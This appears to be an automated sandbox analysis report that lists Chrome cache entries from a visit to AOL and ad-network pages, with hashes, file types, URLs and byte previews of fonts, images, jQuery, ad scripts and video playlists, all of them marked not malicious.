SSDEEP:	768:567EFgmAkNoY842Mv/3rvxAL86QqRWL5DMnDGYPdV8uKLIrK50WEAqaEIu0PWjkC:5TF1/T842mbvmIhL+HtKc4LH40PWjkC
MD5:	6BC69312C74A1F1D8A57DE89E9B00CE4
SHA1:	3146B72E04C9BE2B0E19AC310E18AE29A0AAD257
SHA-256:	D269F58F7702BFE19D3BDC9616E00DC7B933481431E23441B7C88BE3097BEF14
SHA-512:	8BBE1421CDBC37E36E7865E647DC5DC57C29F7DA966EDC251E62AEAAB9A116FFD446CB7604B3105011741E7B40D8603645528BB53235DDABCB32CC57964A3F95
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Bold.woff2
Preview:	wOF2.......d......\..............................@..L..x.`..R......}.6.$.....H.. ..p...[..r...U..t'.O........5....x..T1J......Hb.v.......b.y.H....T.......p7$JG6i..:..bydr..e.~#..,d.Le....X.v/..87..:...ZGQ....hr....o.T7.:.....g..I...z..T..WVI......G........r.Yr..ewaps...S.EJ..>.......f....DJv.T.y6..(......Y..;.A.WIF.....D%.'..9g.._.....;..!..h.[......H.!^.w.%..+"............S.T..v.XE..[.P{.UcU[....l. @ .!&'j{"...irw.KrQ[L.<...j@.......R./....Ok\|YU.3.g...hl.Jf..d....2,...an.S.DZ.R"Bb.0..`l.....QcoT.T..3Pi.1.NQO....o.7...hm{_??.'ss.U.Z.6..@...%9.O......dV8`..H,&.p.....oS5..9o\;.6N....R..A.Q.$..q..S...}....7..,.i....?.....e.n.A...\F9.U..8,.X.......".......F.....\..._1....Z.{...{..>}".....L.\&^&^'wr......N..A.*./..@N..p?c......d.....s...Rg.....'a....G....ht....R.T..J.P....J.R....g..-...b.R~...w]....@.AHLY.\............p,.%dKrdn.......:....M.A..G...`.4...B.........1/0.'..b........B.w.l.....}.. ...k...<w.0'..g......_K...L..'.@......m.;\.9,.

Chrome Cache Entry: 670

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1993
Entropy (8bit):	7.228263015611078
Encrypted:	false
SSDEEP:	48:LzZF9DhvjfsgzA2POqXOVFXQQLnB5/Kn+ssNk:LT9DhbfI2POCODpn/Wam
MD5:	5784D8DC6F4454C37EE40FD0F16DD30B
SHA1:	31636A129300A3DD4854638B70DC2DC2F662A71A
SHA-256:	92E74C4426BB8D21C2450F59A68626FE84BA5C9D8A8C90071D2A8645F6EB00A6
SHA-512:	CBB43098B269817A7C7858F7B9E8644B86BF9C74A1E56A1267B4DEDCCD1254AF828DAB7A6836CCEA55766916C1274AAF6249CE7451EA72BB2B0EB0FB90580BB9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL...........................................................................................[N........................................................................................................................................[N...............................................................................................................................[N.[N.......[N.[N..............................................80c...A9.:2.=5.91'WP....?7....>6Syt.B:X}x.........Nup...9e^...........7c].F=V{vBlf.......:3=ga...Iqls..d..!RKw........^.\|%UN)XQ.<4i........Cmg...Foi-[T...}.............YR.IARxsl......HA......NG......../\V.KD...Pwq...Hpk.C;2_YLtno.....[.z..........................j.........=hbFni.........5a[@jd....F?...<g`a..........p..\|.....+ZS...Y.......tRNS..x..........I2."..J....j.e.PF_..Y.......o;...b..0.VSh.y.\.$.p_..w........7+......}l...r..L{...(........d1>..5...wC..*..A.'.....v,..........IDAT....uX.w........Q...QP.q...

Chrome Cache Entry: 671

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	4.636090714770764
Encrypted:	false
SSDEEP:	3:YQ3/eHiOWW0BUUDrFm+pIR76JHMEwWLW6n:YQ3TUUDro4s7iH7wMW6
MD5:	3755DEDDCAE3C3572865EF03EE3A6ED6
SHA1:	A135C2EA20290323CE3EF326D79985A24A4191E0
SHA-256:	DB91D408117BD5BBA961C3134938D468E2F0395C8FA2BFDE78855C955CC79E80
SHA-512:	46FA74A469C823E3C3488C9E6D951C54AA92326D690761A97D8A0B98BCC0B10EE81EBFDB08F443E9ED3ECD93684921033CAB16F8C0A48FDD064B72A7AA25EA96
Malicious:	false
Reputation:	low
URL:	https://api.taboola.com/1.2/json/taboola-usersync/user.sync?app.type=desktop&app.apikey=e60e3b54fc66bae12e060a4a66536126f26e6cf8
Preview:	{"user":{"id":"e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14","isNewUser":false}}

Chrome Cache Entry: 672

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2953), with no line terminators
Category:	downloaded
Size (bytes):	2953
Entropy (8bit):	5.3929053805456695
Encrypted:	false
SSDEEP:	48:jlgB/DS7qNrfrQbWu1/390OHvcoh40quLY09yzwxJ+2+JxqMJbE+mZygIYvf4J5g:jEL4q5DQbWS33ku40qQYsyzwxJ0bqMJO
MD5:	96AB7772A2B7C949EDD6B95E6ABC8317
SHA1:	83A6ABBDE16D4C72CFE1419D72DE361E4A292FA0
SHA-256:	CAD748D566493B79033CE00A0C0E6DF797A1340A6992F731D283D1440B0E346A
SHA-512:	C67EBFD237FCA4DBC3D5DCEB00D9204726D43B7C6765D1A3880DD5F9C36984531F2214FBFB60C15054F8382E8003E6239DD1E50AF72CAC120EC423BA2C4D2C26
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/js/vendor/json2-20140204.min.js
Preview:	"object"!=typeof JSON&&(JSON={}),function(){"use strict";function f(t){return 10>t?"0"+t:t}function quote(t){return escapable.lastIndex=0,escapable.test(t)?'"'+t.replace(escapable,function(t){var e=meta[t];return"string"==typeof e?e:"\\u"+("0000"+t.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+t+'"'}function str(t,e){var r,n,o,f,u,p=gap,a=e[t];switch(a&&"object"==typeof a&&"function"==typeof a.toJSON&&(a=a.toJSON(t)),"function"==typeof rep&&(a=rep.call(e,t,a)),typeof a){case"string":return quote(a);case"number":return isFinite(a)?a+"":"null";case"boolean":case"null":return a+"";case"object":if(!a)return"null";if(gap+=indent,u=[],"[object Array]"===Object.prototype.toString.apply(a)){for(f=a.length,r=0;f>r;r+=1)u[r]=str(r,a)\|\|"null";return o=0===u.length?"[]":gap?"[\n"+gap+u.join(",\n"+gap)+"\n"+p+"]":"["+u.join(",")+"]",gap=p,o}if(rep&&"object"==typeof rep)for(f=rep.length,r=0;f>r;r+=1)"string"==typeof rep[r]&&(n=rep[r],o=str(n,a),o&&u.push(quote(n)+(gap?": ":":")+o));else for(n in a

Chrome Cache Entry: 673

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32020)
Category:	downloaded
Size (bytes):	83518
Entropy (8bit):	5.277567638444161
Encrypted:	false
SSDEEP:	1536:cgWi6svQSYLQvjGb2gXkeWXsoZYgjgMPrHMNLIJB6EUEwpoEmBsw7XSPZ:MaXsoOgBINLCF7d7QZ
MD5:	AA9A6DC056F54E67CA23C4DD89128C67
SHA1:	F6A236771E9F6EDAB8133D2D4529F2599F6B6B45
SHA-256:	4F618D3E0AB98FFB03F1D4FA86867478A38EA07FE058DFA6D660F744EDC7BE1C
SHA-512:	D4D802C81041BDDCEC6A19F189549D76BA7893BDBF2E834E70E6F33F7D846A7EB029950345801D112D90140EA92C3AAC425A9EE7B1B4DD4687EDFFDBE1C48B86
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/psstatic/aolhelp-prod/18.5.53/assets/js/vendor/jquery-2.0.1.min.js
Preview:	/! jQuery v2.0.1 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery-2.0.1.min.map./.(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],f="2.0.1",p=c.concat,h=c.push,d=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=f.trim,x=function(e,n){return new x.fn.init(e,n,t)},b=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^(?:\s(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s*\/?>(?:<\/\1>\|)$/,k=/^-ms-/,N=/-([\da-z])/gi,E=function(e,t){return t.toUpperCase()},S=function(){o.removeEventListener("DOMContentLoaded",S,!1),e.removeEventListener("load",S,!1),x.ready()};x.fn=x.prototype={jquery:f,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if("string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:T.exec(e),!r\|\|!r[1]&&t)return!t\|\|t.jquery?(t\|\|n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof x?t[0]:t,x.me

Chrome Cache Entry: 674

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7169)
Category:	downloaded
Size (bytes):	7212
Entropy (8bit):	5.268802863052903
Encrypted:	false
SSDEEP:	96:3h4CW67adBlLbkwCp4DScH95qQsAYK7wT4ZCNa8uk4bnPVLUo0pTl7wzfrcvYOX:3z+P/BCpJm5GAYK8EZiVu9bnPhqLX
MD5:	4C2B64BC7666579B265855279527E91E
SHA1:	A2231E71B516B0A2B0A6529DBF9BBCE381B93A84
SHA-256:	AB51B14F60C28E8AD2B21408151B3436EFFE23E63946712A7A2B60BF017583F3
SHA-512:	57C236932568CF02E1662018E1268604F8ED1D4C39E350A056E83302EB9D1E940AF332F1B56CF1EFF4B85787E0D2A1484F3A5B74E7191E452551E2FDDC3BF8D8
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/finance_banner.4c2b64bc7666579b.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){var e,t={9356:function(e){function t(e,t){(null==t\|\|t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var n={rapidInit:"rapid:init"};e.exports={events:n,rapidReady:function(e){window.rapidInstance?e(window.rapidInstance):document.addEventListener(n.rapidInit,(function(){e(window.rapidInstance)}),{passive:!0,once:!0})},ylkStringToObj:function(){var e=["itc","cpos","pos"];return(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").split(";").filter(Boolean).reduce((function(n,r){var i,o,a=(i=r.split(":"),o=2,function(e){if(Array.isArray(e))return e}(i)\|\|function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]\|\|e["@@iterator"];if(null!=n){var r,i,o,a,u=[],c=!0,l=!1;try{if(o=(n=n.call

Chrome Cache Entry: 675

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 400x300, components 3
Category:	downloaded
Size (bytes):	36746
Entropy (8bit):	7.980407722976079
Encrypted:	false
SSDEEP:	768:/6/WjtRMOQ/WLJiHQ325wCIDGMrRgNLn6RZsD2dt0VAkbEUGLGFMCurKr:/+t9yE22G/FMLnWw2Sb5F6G
MD5:	2B1F8FFF010D419DC4263DD7CB0BF2DD
SHA1:	7ECC14A2A603CA564FABB1FBF772E92470409743
SHA-256:	2C2076289A1062911EBDFCA7E76F02991F2B557DA4B940B5EE3167FD178FC5ED
SHA-512:	38FC56D97E4012D843E45D6752315B4B8447C97795B592A6908A51308F73D93C8BCB06B1B415F31F9AA9A408116CD45E3DAA51FCE8B7699B5E160107F7815826
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2F09a9cc471b1d8644caedce552f0a4524&client=76f99bdb8f78cd44cc0b&signature=f0f7126aab31aca9e0c66417c364c5a6db5544b4
Preview:	......JFIF..........................................."......".$...$.6&&6>424>LDDL_Z_\|\|.......................(.....(=&-&&-&=6B525B6aLDDLap^Y^p.zz.............,...............5.................................................................M.4.....D,.].H..a.H9.......k.....@#Z* O...T.cL..t..C..?5Q........fnTd..ZX..,.Zn.1?.....UW.......X..........T{.........uo&l.p..>.=r.. ~.;-..[M?.w...Y......1.i.b..6-q...[l...B_..:v..n.E..D.&.!..kS.}r)F...1Z..@Z.;"..;.&.dA8Y..4..4..\..aL(....2j..r....K..e..j.f.:.W..j.p!].p0.UP$.3..yC..4-VC..)\..ir.~..N..r.!K:.WEY...1...b...e.\../.....:(.Q....H..u.@...4...T.Tp....[i.s..d...dhX.G....2s!c:v.l..\.U.$KUG....uc@B..P...."r.a0..p..?Bm..6....O.....6UY..>.5....?$.J.......ZN....&.j.QE&Qr..uAA..v.E..:.P.-S]1sWiU.y0-ma..Z.x..a...1.....K..h...r....9.......%..i..u.(./.sY&j+.r..X.A5`..q.I.k....G......i..Ax*.O.^....P..e7kCFh,.R8_.......-T..?F.R....r.}.....X.L.r.3..5\]P.H.}..g...N7.i.dy.....WB$..CUQ...........-d....s`...z.2...79..

Chrome Cache Entry: 677

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=12&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503725209&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=10&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=5&ns_st_asq=5&ns_st_sq=5&ns_st_po=1880&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=1880&ns_st_ipt=193&ns_st_iap=193&ns_st_iet=193&ns_st_iupc=193&ns_st_iupa=193&ns_st_ilpc=193&ns_st_ilpa=193&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=1&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=193&ns_st_ap=1880&ns_st_dap=193&ns_st_et=8075&ns_st_det=193&ns_st_upc=1880&ns_st_dupc=193&ns_st_upa=1880&ns_st_dupa=193&ns_st_lpc=1880&ns_st_dlpc=193&ns_st_lpa=1880&ns_st_dlpa=193&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=5&ns_st_pp=5&ns_st_pa=1880&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 678

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsuyk4X4hENrOdOCQzo4fEpZ72LYxh6YEUyzSsPw8-wzyrkAenAzCKl4HqhpfQ-DaLyUuKX6A2TIB_GGuToKa9ibt8YOVnOv2GivckYlu9OStiaePAwr9YZhuQynNeS4hJJCf_CvIPNnVGBgYuO0xAQdO8dnVcnQE6BGiTq4fw&sig=Cg0ArKJSzIiIl7EYfm4sEAE&id=lidar2&mcvt=1064&p=382,855,636,1155&mtos=0,1064,1064,1064,1064&tos=0,1064,0,0,0&v=20240522&bin=7&avms=nio&bs=0,0&mc=0.98&if=1&vu=1&app=0&itpl=19&adk=2369062128&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0%3D&vs=4&r=v&co=1243651400&rst=1716503711472&rpt=4555&isd=0&lsd=0&met=mue&wmsd=0&pbe=0&fle=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=14"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 679

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21224)
Category:	downloaded
Size (bytes):	24203
Entropy (8bit):	5.349731623672621
Encrypted:	false
SSDEEP:	384:PLX1wtH+NTv0vDckjUhzU0ZppJeiUGg2TD7eC43YU/Us3ZYNbHG3W5AJdME9oPaV:jKtPQOaG3WFaoPaIK/zn
MD5:	F1DFC75C82E12DFE846D5593978E422A
SHA1:	12E580A708B09C9A8F4CA7CCBE9DD7DF32EDEE60
SHA-256:	08204982C484FAF6890C60557A4E642971F17625DDDDC0559DC0E3CA728AC9E0
SHA-512:	623412E6D454104251215E38A0F365F879EC70F77306769F5FA40E144C0EAB43237D1FE13B92031AD5848071A6A8910F01576F079E1A0904F4D8DD8959D922A5
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/safeframe/1-0-40/js/ext.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var aa="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),da=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&aa(c,a,{configurable:!0,writable:!0,value:b})}},ea=function(a){return a.raw=a},fa="function"==typeof Object.assign?Object.assign:function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};da("Object.assign",f

Chrome Cache Entry: 680

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (893)
Category:	downloaded
Size (bytes):	6637
Entropy (8bit):	5.239072073194909
Encrypted:	false
SSDEEP:	96:Oft2FCAmZkN4kNRGkN5kNRGkNCkNRGkNzkNRGkNEkNRGkNlkNRGkNekNRGkNvkN/:w48Amer747x7W7X707d7y7j7w7OcJO
MD5:	59639DFC5CC45B64D9DA76FC4ABD6B30
SHA1:	D3AA0D303C982E3B8862BF9589940DB36A8C70FD
SHA-256:	C8130C16E66533A39152841F8DB7D0FA4DB956247BFA1675383A1F3CCCCBD3BB
SHA-512:	83E5A7173C3169D1691CDB6D57FE7BFB831310113F5F82972E3640D3A7F85BEFBDF5F2423FA724A0DD4D2AE61EBC11D8194B99C8D0B08E95B0B5376DCBF25D86
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/7ee98cd0-735a-4f5b-b409-44803cff9bc0/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMmJmZjBlZTViY2Q3YWU5YmI5MTExYWE4YzZhOTg5NTgzOWI1NzA1NmViNjE2YTQyNmFiY2E1MGE4ODQyMzYyMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZDVfY2IwZjNhZjU1ZjkwZjRmM2Y4ZmI5NmI3MDFiNTNlZTEyY2MzNWZkYWIyNzE4ODJlMDcyYzMzNTlmYTJjMzAxMw%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w",IV=0x667a979a2ed802eac07ad1a5152a525e.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:6.#EXTINF:

Chrome Cache Entry: 681

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (893)
Category:	dropped
Size (bytes):	6637
Entropy (8bit):	5.222223877631303
Encrypted:	false
SSDEEP:	96:OftOmHCAmZEkEz8/ExEz8/EKEz8/E/Ez8/EwEz8/E9Ez8/EmEz8/ErEz8/EcEz8m:wchAmG3ZOZ9ZsZTZqZpZoZ/ZWZ8YN6
MD5:	F6A667DC38F48F48E1ED29068C79E5A8
SHA1:	4A349EABB2D3DE828D267320A691F67B0BFB40C3
SHA-256:	2EF8588E13ABC51CABCE0896748916153C85F00BC41CD39AD170772AA0745177
SHA-512:	795846AFFFF43A5D8CA0DF2F1B1A8453B0A394D3057396424576C058EAF5C6BD433DC303F4686E1E077ED03A70A748184377A9120BC678C8959ED9953A20C16D
Malicious:	false
Reputation:	low
Preview:	#EXTM3U.#EXT-X-VERSION:3.#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZTNfYzNmZTdhZTJiNTA5ZTBlMjIyZTVmYjBiNzRkYzIyMTNiNjVmODEwMjViMDYyMTQ2MjRiODNkMzY4ZWY2NzJiZA%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w",IV=0x667a979a2ed802eac07ad1a5152a525e.#EXT-X-PLAYLIST-TYPE:VOD.#EXT-X-MEDIA-SEQUENCE:0.#EXT-X-TARGETDURATION:6.#EXTINF:

Chrome Cache Entry: 682

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:PUyESyY5hE:PUhu5hE
MD5:	5BF641491A20F2044C51558037392F1A
SHA1:	39676EF27B5C648C57313FAEE7BE8554EA58A4C0
SHA-256:	50BA226E057158000294A012063FE8A58EC82DCE44F29DF8A85A3B2130198ABE
SHA-512:	EDC014AA799F5129CCDE382DD4C28D4C362EDD8C15DED60169AE01A8440C6DB02E3C795F704431F615B4A95710C5E06AA01648E0893F6874C5A5A711015BC7AB
Malicious:	false
Reputation:	low
Preview:	..g......b......

Chrome Cache Entry: 683

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	339
Entropy (8bit):	6.6338028481278375
Encrypted:	false
SSDEEP:	6:6v/lhPf+nDL1u9Qnvrkq+Wk7aZf8FLIE/r34hVwoTu/NM9JoT2XjxjEdp:6v/7WL1rwLHK0LpbsxTu/2D8GxjEz
MD5:	5350207F56E7CDAFEBB681074189CC85
SHA1:	E24C5F747ECEE00C99EC65DC3358A3F52EF9B8DC
SHA-256:	03C8D81F4EE04F607AB676DB545E61A91208DD74D21706E48A84CC34F28C4748
SHA-512:	54FC06805B606DFA1B77521D1E71832884B6D2045F790F7223E4EA0D21E108796C7F5D2487A1A49CF1BF99DA05A65BF40AD70B46454FAAB07F5F2508F6E5718B
Malicious:	false
Reputation:	low
